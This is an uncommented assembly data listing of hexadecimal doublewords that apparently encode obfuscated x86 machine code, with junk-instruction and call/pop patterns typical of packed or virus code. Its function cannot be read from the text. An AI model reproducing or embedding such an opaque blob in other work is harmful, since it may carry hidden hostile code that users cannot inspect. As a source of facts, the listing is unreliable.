		dd 0A272FCDh, 8168858Dh, 6A05E7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 9D8B18C3h, 5E42779h
		dd 13E9h, 6718BA00h, 138C91A2h,	0B95CB2B9h, 99B80E75h
		dd 0BF31DA95h, 75BF6690h, 0E95150AFh, 0Bh, 4DE913FCh, 6DF03C6Fh
		dd 5B0D425Ch, 0F3816690h, 0FF648FFEh, 35h, 69852900h, 6405E42Bh
		dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 920399C3h, 5073BA1Bh, 85FFC33Ch
		dd 5E4142Dh, 1F2D9D89h,	0FF6A05E4h, 1A758D09h, 0B5FF05E4h
		dd 5E4240Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	3C35141h, 0F3816682h, 95FF030Bh, 5E42DADh, 139E9h
		dd 0EE95000h, 14000000h, 8543E2Ah, 0E7FE09EBh, 2C3A90A9h
		dd 0B05B57h, 21ED8589h,	70E605E4h, 8F0Fh, 71E40000h, 0BD958953h
		dd 5F05E40Fh, 830F613Ch, 102h, 223D9589h, 0B60F05E4h, 0D78166C8h
		dd 6BAFFBBh, 89000000h,	0E42C9985h, 7D9D8B05h, 8B05E431h
		dd 14E8C1h, 0E3670000h,	0D834125Bh, 2B7F681Bh, 4766FC6Bh
		dd 9DE1649Fh, 9D8B0A75h, 5E429C9h, 4E8C15Bh, 58B0Fh, 81660000h
		dd 66C59FE7h, 0BF0FE2F7h, 81C82BDEh, 0F7F16FF3h, 0BFD18B2Fh
		dd 1F47B64Ah, 16820Fh, 11E90000h, 0E000000h, 0D20C6C21h
		dd 0BF94AA25h, 9195E6DCh, 0D5A5E59Dh, 7DE9h, 0B1BD8900h
		dd 8905E410h, 0E4221DB5h, 4C858B05h, 89505F4Ch,	0E42D25B5h
		dd 7C08305h, 31C5BD8Bh,	0C08305E4h, 3BDF8B00h, 11830FD0h
		dd 89000000h, 0E430F18Dh, 44E905h, 85890000h, 5E41EE1h
		dd 0FFFF8D8Bh, 8F0FFFFFh, 3, 83DFB70Fh,	840F01E1h, 26h
		dd 203F8FBBh, 1D9D0920h, 8305E42Dh, 0FFFFFFA5h,	8B66FEFFh
		dd 4C9589D9h, 89505F4Ch, 0E4225985h, 0E905h, 0B58D0000h
		dd 5E886D7h, 68B0Fh, 0BD8B0000h, 5E41551h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 6964A7C3h, 0BD2926AEh, 5E411CDh, 10C195FFh, 6A05E4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 226185C3h, 0F3BFD1ECh, 0F08B9h, 29950900h, 8305E401h
		dd 8D0FFCE1h, 8, 0E9BD8B53h, 5B05E419h,	55006AFCh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0E0B3C3BAh, 1F159D8Bh, 0BD0B05E4h, 5E41E15h,	0B8h, 89BD0B00h
		dd 0BA05E41Ah, 0
		dd 87D38166h, 0C233AD57h, 0D003E8D1h, 7504E983h, 52006AF4h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 39DF43ADh, 0DF8B6675h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 5FC35646h, 0DCC8041h,	88h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 16C35646h, 8C77A802h
		dd 5D3EDEBFh, 95958B3Ah, 0F05E410h, 8D8BFBB7h, 5E42C65h
		dd 1D75BD33h, 8B5005E4h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 49F78166h, 6E928h, 6B260000h, 0F38255E9h
		dd 0BD831FB3h, 5E42135h, 6E840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 5C31C350h, 470B2766h, 8B536F2Ah, 0B8F9h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 493202C3h, 8166AD68h, 66EA73CFh, 0B8A0EF81h,	8DDE8B66h
		dd 0E44C308Dh, 0BD2B5105h, 5E42591h, 23E1FF5Bh,	0E401319Dh
		dd 0FDBD8305h, 5E430h, 4A7840Fh, 0BB660000h, 0BD83E353h
		dd 5E430FDh, 0B1840F01h, 6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8349C352h
		dd 0E430FDBDh, 860F0305h, 452h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 80C35040h, 3A3F2007h, 8A0FDDD1h
		dd 2, 8B60FA8Bh, 0E41A7D9Dh, 0D98C6605h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 3BC35646h, 2C28537Eh
		dd 0DB81665Dh, 0E1802A11h, 5F506004h, 61DE8B66h, 840FC90Ah
		dd 194h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	2EC35040h, 46D78166h, 9E8D3h, 0DF550000h, 3C0E311Bh
		dd 0F7C3B61h, 585h, 0E7816600h,	8B5B6B16h, 0E42C9D85h
		dd 5D858905h, 3305E410h, 0E4209985h, 0CE905h, 0DC320000h
		dd 25694DEBh, 76D8A93Fh, 9D03F7CDh, 5E41AADh, 0F88B5090h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 6A048FB1h, 0A3159B65h, 6A3768h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 5DC35242h, 0D1DBB90Ah
		dd 4C0E010Ch, 899D8BFCh, 0E805E42Bh, 4,	1F03FFh, 9E850h
		dd 6A60000h, 85A800A6h,	0B389C62Dh, 448B5BE3h, 8B660424h
		dd 0BB008BDFh, 43663B81h, 4244489h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8B6691EEh
		dd 5995FFFEh, 6605E401h, 0E93C22BFh, 6,	16AF1F4Fh, 8589E607h
		dd 5E79F5Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0FBC35242h, 6E458A38h, 1E5E973h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 92C12EC3h, 0EE8A1h, 0D61C0000h, 8D38449Ch, 8720FFE0h
		dd 83B6114Eh, 0BE8h, 1A782A00h,	0AD982E30h, 0DAD7838Dh
		dd 7358531h, 5B5F05E4h,	9F57858Bh, 958905E7h, 5E43225h
		dd 1800C7h, 810F0000h, 6, 3101B589h, 0B58B05E4h, 5E79F5Bh
		dd 1C758D09h, 858B05E4h, 5E42A21h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 9CC35343h, 66A9B11Dh, 0E5BEC781h
		dd 0BF660689h, 858BD468h, 5E42C9Dh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 80C35646h, 233C3078h, 9358CD3h
		dd 0E429C9BDh, 4468905h, 2D51B531h, 0F9605E4h, 1787h, 12E900h
		dd 0AA890000h, 7AF4CAA0h, 2A52719Fh, 33BADB4Ch,	0D4881E7Bh
		dd 0B886BB50h, 6A96291Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0A630C352h,	0E0224D9Ah
		dd 0F185897Ah, 0FF05E428h, 0E79F57B5h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 65BD2B91h, 6805E416h, 0D91EE208h, 13E8h, 0A3B0E300h
		dd 8E6655D5h, 0AAB074D9h, 0B4ED21F1h, 0EB92731Ch, 9E9h
		dd 6EA6BC00h, 1A42630Eh, 815B7FB2h, 21F72404h, 81662700h
		dd 8DB6B0CFh, 0E79F5F85h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 500FBD5Ch
		dd 66240489h, 0FFDD3DBFh, 0E4015995h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 10C7D3ECh, 0D2A96979h, 599D2BE0h, 6105E415h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 67C35040h, 51B19506h
		dd 0C88B6056h, 256DBD8Bh, 5B6105E4h, 153D9D2Bh,	85C705E4h
		dd 5E430FDh, 3,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	5FC35747h, 0BF268E3Dh, 1045A4E2h, 9F5FBD83h, 0F0005E7h
		dd 4984h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 9589C6EDh, 5E41ACDh, 7899589h, 36E905E4h
		dd 0F000000h, 1583h, 10E900h, 0D5DE0000h, 2432FF62h, 3AFF272h
		dd 0DE2BAC8h, 305064E1h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 8323ECD4h, 0C86A898Dh
		dd 68F0F9Bh, 8B000000h,	0E414E9BDh, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 82CE791Fh
		dd 8AF9AAFEh, 0FDBD83D9h, 305E430h, 35B850Fh, 81660000h
		dd 83C2CEEBh, 0E79F5FBDh, 840F0005h, 349h, 9F5FB5FFh, 890F05E7h
		dd 4, 0D0F8BF66h, 1C69B529h, 95FF05E4h,	5E41C15h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0EC35545h, 0D65C8128h
		dd 89A2EFDCh, 8BDD8A51h, 0E4155DBDh, 53B58B05h,	2905E79Fh
		dd 0E422DDB5h, 106C705h, 6A000100h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 34DCC355h
		dd 4F709B2h, 8FB0B960h,	66502DE4h, 0A8F1F181h, 8950615Fh
		dd 0FFF82434h, 0E79F5FB5h, 0FE905h, 59C20000h, 8A624E46h
		dd 0A174D887h, 0CC28F364h, 2D95FFE3h, 6605E417h, 8B4F6DBBh
		dd 0E79F53B5h, 1D858B05h, 0F05E41Dh, 8689DFB7h,	0C4h, 958BA5B7h
		dd 5E41095h, 219D8B52h,	5B05E415h, 0D6AF5BBBh, 4C2832Fh
		dd 22A19D89h, 508905E4h, 29F96020h, 0E414919Dh,	858D6105h
		dd 5E7B384h, 0EAF38166h, 0D2BF66C9h, 0B88689E6h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 60AEC352h, 5E8h, 8392BB00h, 8509AEB2h, 5E43219h
		dd 8B61F95Bh, 66006ADAh, 0B5FFFA8Bh, 5E79F5Fh, 4AACEEBFh
		dd 4595FF4Dh, 6A05E410h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 9A79C352h, 0CB3606B6h
		dd 0B45C3F72h, 83D9D8Bh, 509605E4h, 810Fh, 6A960000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 9972C350h, 9459A0AFh, 840F8464h, 5, 0B9F78166h, 5FB5FFE7h
		dd 6A05E79Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 8122C356h, 0A54F4796h,	0DF8B66F7h
		dd 136595FFh, 0BD8B05E4h, 5E427C9h, 8F9BD83h, 0F0005E4h
		dd 7184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 9634EF1Eh, 0E850D98Bh, 0Dh, 0BFC940B5h
		dd 87E4D3BBh, 3AB33D82h, 6A965F6Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 2725C350h
		dd 2EFDB280h, 820F5643h, 6, 0C19D8Bh, 820F05E4h, 6, 0A38CEF81h
		dd 0B5FF6C05h, 5E79F5Fh, 6E8h, 8D769800h, 89BA815Eh, 0E402A195h
		dd 95FF5F05h, 5E429C5h,	254DBD29h, 0BD2905E4h, 5E414E9h
		dd 9F5FB5FFh, 958905E7h, 5E4170Dh, 1849BD8Bh, 95FF05E4h
		dd 5E41971h, 7DD8D31h, 0BD8305E4h, 5E43125h, 62840F02h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0D7A0C356h, 0D629C4F1h, 858B0F47h
		dd 5E41191h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0D8C35141h, 0CE8E7F1h, 1E000000h, 41A4968Ch, 0B59DA11Fh
		dd 5FA5D573h, 810000C6h, 70AF3DFh, 0E585C771h, 5E419h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0F8E9C357h, 0E6BB6685h, 0F3F4E968h
		dd 0B70FFFFFh, 6AC18BFEh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 3FCBC352h, 19D5858Dh
		dd 6A05E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 96E06EC3h, 0BF48190h, 6E91AD2h, 0E3000000h
		dd 0C50EB80Dh, 6050909Ch, 56B86660h, 0CF8B665Fh, 10E861h
		dd 1C170000h, 0C31FD384h, 500F906h, 8F4E7DC4h, 8B0F83BBh
		dd 0
		dd 60906158h, 10C5B589h, 13E905E4h, 0BE000000h,	0F6AEB917h
		dd 0F85A6B99h, 0AC72869Ch, 2320BB1Eh, 6A618417h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 920A2C9Fh, 2BF8DFFCh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 1B5E87C3h, 0DC7FC3A6h
		dd 858D8EA6h, 5E91C0Eh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0D5C35343h, 60F73ADDh, 11E9h,	977FB00h
		dd 2CC99F82h, 38EF120Ch, 0CBB0BB8Eh, 81667524h,	61F7F8EEh
		dd 5BFB8B52h, 6A05C083h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 3D15C350h, 0D88BBE3Ch
		dd 0A8D0F50h, 0F000000h, 481h, 9ABB6600h, 240489FAh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 88C35343h, 127CD8FFh
		dd 0F203C3Fh, 1A8Ch, 14860F00h,	0E8000000h, 0Eh, 0A59FE23h
		dd 3AA6509Dh, 35928DE2h, 6A5B4940h, 0FE8B6600h,	0E950006Ah
		dd 11h,	6096B030h, 22FCC79Fh, 77203B9h,	0A0FDA4C2h, 0C7815B27h
		dd 773DD451h, 21A195FFh, 0BF6605E4h, 8D8D8581h,	5E79E7Fh
		dd 6AD1FFF8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0A4AFC353h, 0B589F248h, 5E4075Dh
		dd 6820Fh, 0BD8B0000h, 5E40709h, 2995BD83h, 0F0105E4h
		dd 6E85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 36F01F0Ah, 9529ED0Dh, 5E41661h, 0B529026Ah
		dd 5E41851h, 8937BF50h,	4897A28h, 6E924h, 0B2B80000h, 0FC9B0645h
		dd 104595FFh, 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 873553C3h, 0F655E58Dh, 0E9ACC6D6h
		dd 0D79h, 0E8h,	0ED815D00h, 5E91C18h, 0EE960h, 1A3C0000h
		dd 0A221F6Ch, 17B7F108h, 41C16F48h, 51006A61h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 10E811h, 71B50000h
		dd 0B31E34E8h, 48A8ED6Dh, 0E22E1A16h, 880F64F9h, 5, 0EAC38166h
		dd 858D5B14h, 5E78168h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 25C35040h, 8166EECCh,	815054F7h, 0D5D018E3h
		dd 90F98B28h, 0FE850h, 843E0000h, 3F282C25h, 0E4163AF2h
		dd 97D0ABD8h, 199BBBF8h, 905F050Ch, 0B3F0C781h,	0FF6448E1h
		dd 35h,	51006A00h, 3E8h, 0C3592000h, 244C8959h,	24448104h
		dd 1A04h, 0C3514100h, 49B76399h, 89DBC43Bh, 0E40259B5h
		dd 21BD8B05h, 6405E414h, 2589h,	8C0F0000h, 5, 3DAF0BBFh
		dd 2D85FF6Eh, 6A05E414h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0E203C353h,	5C8DDC7Ch
		dd 344EC062h, 1B119D09h, 0FF6A05E4h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 55C35646h, 0D4F0EDE5h, 8D9D8BF9h
		dd 0FF05E40Dh, 0E42031B5h, 119D8B05h, 8B05E432h, 0E430F9BDh
		dd 0AD95FF05h, 0E905E42Dh, 103h, 26A5BD89h, 0DB305E4h
		dd 0B70F00B0h, 6850FFAh, 1000000h, 0E4221185h, 0E970E605h
		dd 9, 0DF86F39Ah, 47155702h, 8B71E444h,	0F613CDEh, 0CE83h
		dd 0FF98B00h, 9D8BC8B6h, 5E41C85h, 6BAh, 8BC18B00h, 0E42425BDh
		dd 4E8C105h, 6653C780h,	8166E2F7h, 2BD94DF3h, 25BD03C8h
		dd 8905E429h, 0E42369B5h, 81D18B05h, 4EEF39D3h,	8DE96Fh
		dd 0E9600000h, 10h, 1876FDCAh, 0E8E54E73h, 6AA14268h, 0E3B94210h
		dd 61CA8B66h, 554C858Bh, 9D8B4947h, 5E41CDDh, 8907C083h
		dd 0E42B799Dh, 0C08305h, 830FD03Bh, 26h, 30C38166h, 49E958h
		dd 10E80000h, 0F3000000h, 0E89AD391h, 0D95B4097h, 0E56423FFh
		dd 81E86986h, 801F0D3h,	8D8B5B37h, 0FFFFFFFFh, 16158589h
		dd 0E18305E4h, 18840F01h, 83000000h, 0FFFFFFA5h, 9589FEFFh
		dd 4947554Ch, 2855BD89h, 0E905E4h, 8D000000h, 0E895DFB5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 1C94F107h, 895BF557h, 0E4096D8Dh, 0FF006A05h
		dd 0E410C195h, 14E905h,	0DA310000h, 6B301D95h, 86D2403h
		dd 25FAB58Ah, 6D3ED502h, 8F0F788Ah, 6, 2D15BD89h, 9CB905E4h
		dd 56000010h, 0F57B69BBh, 0E1835F05h, 56006AFCh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0C8575F5Fh, 0C2B5C27Eh, 0BFC5D7Ah, 0E4141DBDh, 0E9C02B05h
		dd 0Ch,	0B259D633h, 9BD4253Ch, 518347DAh, 0BAh,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 3D48550Fh, 20241831h, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 10E9h, 63D26A00h, 305C9BA6h,	76CD8F70h, 0E6B22BA8h
		dd 51006A93h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0DCBF94AAh, 9D9195E6h, 0C2A268BBh, 880D20h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 16164CC3h, 6D8AD068h, 0DDBD8B5Eh,	8B05E423h
		dd 0E4109595h, 0CE905h,	48140000h, 0E3DEC142h, 33271E80h
		dd 8D8B59D6h, 5E42C65h,	322DBD8Bh, 6E905E4h, 0DD000000h
		dd 64A829EEh, 0C28B5048h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0E991C357h, 7,	827AD95Ch, 0E9281FF2h
		dd 7, 0C9CB43B9h, 6A896FC0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 9683C352h, 9E592AC1h
		dd 6658CAACh, 83F0B6BFh, 0E42135BDh, 840F0005h,	5Fh, 6DBD03h
		dd 0B805E4h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 21A1C357h, 4C308D8Dh
		dd 958905E4h, 5E4084Dh,	6AE1FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0A1FC9CC3h, 0C780765Ch
		dd 0AD8D8943h, 8305E408h, 0E430FDBDh, 840F0005h, 3EBh
		dd 5E9h, 0FEDA4000h, 0BD835BB2h, 5E430FDh, 0EF840F01h
		dd 6A000003h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 501BC352h, 839DB974h, 0E430FDBDh
		dd 860F0305h, 38Ch, 6003CB80h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 7AC35747h, 164C77E8h, 8AD06816h
		dd 2DEB816Dh, 56354D4Fh, 111DBD8Bh, 665F05E4h, 0DE8BD98Ch
		dd 8904E180h, 0E40075B5h, 0FC90A05h, 0ED84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8BDACEC1h, 0E4234D9Dh, 858BF805h, 5E42C9Dh, 33D98B66h
		dd 0E4209985h, 1605205h, 0E432458Dh, 0F4BB6605h, 505F6150h
		dd 89D88B66h, 0CB812404h, 41626BAFh, 9589006Ah,	5E42545h
		dd 0D8C17F68h, 6E8BAh, 38790000h, 3F0E7268h, 0AE9h, 9AF4AA00h
		dd 54839CE3h, 5BD734FFh, 80240481h, 6A454642h, 3E85100h
		dd 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0E869C351h
		dd 11E99Ch, 77550000h, 0BF2DF4B3h, 8BD511BFh, 0EE6834E2h
		dd 89C829CEh, 0E4005195h, 5995FF05h, 0E905E401h, 6, 0A38A6689h
		dd 85892177h, 5E79F5Fh,	8E9h, 5403DB00h, 42A3677Fh, 75B501DAh
		dd 0E905E414h, 1C4h, 850Fh, 858B0000h, 5E79F57h, 1800C7F8h
		dd 81000000h, 90C16BF7h, 8BFA8B49h, 0E79F5BB5h,	9E805h
		dd 0ED4C0000h, 2BD2E2F1h, 6050777Ch, 1179BD8Bh,	858B05E4h
		dd 5E410BDh, 9D0B5F61h,	5E41049h, 2A21858Bh, 0BD2905E4h
		dd 5E41A4Dh, 6A0689h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0B1CAF7C3h, 858BFCF8h, 5E42C9Dh
		dd 22AD9D0Bh, 468905E4h, 0B99D8B04h, 9605E426h,	0D810Fh
		dd 52500000h, 310F5B56h, 0E580F6BFh, 50585A19h,	5C82BF66h
		dd 53006A96h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0A6451232h, 68D0Fh, 9D8B0000h, 5E417A1h
		dd 1DA9BD23h, 0B5FF05E4h, 5E79F57h, 1D41BD8Bh, 4E805E4h
		dd 0FF000000h, 50001F03h, 448BF98Bh, 66BF0424h,	8B2276F8h
		dd 4B37BF00h, 448941D8h, 6A580424h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0FF31C357h
		dd 8B547F0Bh, 0E421C9BDh, 5F858D05h, 6605E79Fh,	0DB56C781h
		dd 12E890h, 68130000h, 694EAFC7h, 9EAD3BE0h, 25BD2258h
		dd 8A1AAA4Bh, 5250505Fh, 5B525250h, 880F310Fh, 0
		dd 310F585Ah, 5ADF8B66h, 6A9058h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 2BD665C3h, 4EF65D10h
		dd 0EE952h, 94360000h, 0A5C996BBh, 0AD206501h, 0A83A8465h
		dd 0DE960h, 0D3A90000h,	0B6800B92h, 0E676532Ch,	80DAFC1Fh
		dd 0FF6150CFh, 0E4015995h, 81666005h, 50175EDAh, 19DD8D8Bh
		dd 615A05E4h, 0D98B6661h, 30FD85C7h, 305E4h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 8F8BE0C3h, 0EF42B6BEh, 838292E8h, 0E79F5FBDh, 840F0005h
		dd 54h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh
		dd 25C35545h, 70779CD7h, 0FE50452Ch, 85BD8968h,	0E905E41Bh
		dd 3Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h
		dd 27C35242h, 0BD8BBF69h, 5E41B65h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 8BC08B00h, 0C7BF66FEh
		dd 0FDBD8347h, 305E430h, 449850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 59B264C3h
		dd 0C5BB7916h, 832A98F9h, 0E79F5FBDh, 840F0005h, 417h
		dd 1EE9BD8Bh, 0B5FF05E4h, 5E79F5Fh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 26C35141h, 8B40145Fh, 0E4265D9Dh
		dd 1595FF05h, 6A05E41Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 9C70C352h, 1B97B99Eh
		dd 36742749h, 13859D8Bh, 0BB6605E4h, 0B58BF7E3h, 5E79F53h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 79C35646h
		dd 0C76B14A8h, 1000106h, 198D8900h, 9605E413h, 5E9h, 0F4089700h
		dd 0F506220h, 0E8Fh, 0F525000h,	83h, 8A310F00h,	96585AD8h
		dd 14A59529h, 0BD8905E4h, 5E42A2Dh, 9F5FB5FFh, 8B6605E7h
		dd 2D95FFF9h, 6A05E417h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0D3EFC351h,	5BA9F0D8h
		dd 7B120070h, 17599D23h, 9D8B05E4h, 5E41715h, 9F53B58Bh
		dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 821A32C3h, 66B05D52h, 582CDB81h, 1D1D858Bh
		dd 6A05E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BB668BC3h, 0FE8BFDB9h, 0C48689h,	6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 417B8CC3h, 545F6684h, 95958B3Bh, 5605E410h, 14F58D29h
		dd 0E95F05E4h, 0Fh, 4BA77F94h, 964B61ACh, 8DBFCB99h, 8339E38Dh
		dd 0BFB704C2h, 6A205089h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0C813C356h,	2E5CF9AAh
		dd 8DC6DF80h, 0E7B38485h, 89D98B05h, 0B886h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0F9D1137h, 68Ah, 0CD8D8900h,	6A05E41Ah, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0FF936933h, 0E79F5FB5h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0FE975BFh
		dd 0EF000000h, 6E9A01E0h, 4A6820FAh, 3B0DEC7Eh,	8B6048D8h
		dd 0E4253D85h, 299D8B05h, 6105E429h, 104595FFh,	6A05E4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 3C893C3h, 0E42C799Dh, 0E850F805h, 10h, 0D7F44D8Ch, 6191B1D5h
		dd 0FC297AF6h, 4CC5BEBCh, 7E9h,	0C5188800h, 0EEA4C5A6h
		dd 2434895Bh, 2A1DB589h, 0B5FF05E4h, 5E79F5Fh, 2B958D01h
		dd 13E905E4h, 2B000000h, 0BB124098h, 3D3EA524h,	0B3407F97h
		dd 266CB3EFh, 95FFC068h, 5E41365h, 8F9BD83h, 0F0005E4h
		dd 5284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0F9BF0FC5h, 0F2BB6650h, 24348950h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 99C35141h
		dd 0FEE49C76h, 0DE99A394h, 11B5890Bh, 0FF05E422h, 0E79F5FB5h
		dd 0AE805h, 44560000h, 0D1842ADAh, 7E571567h, 0F95F40B7h
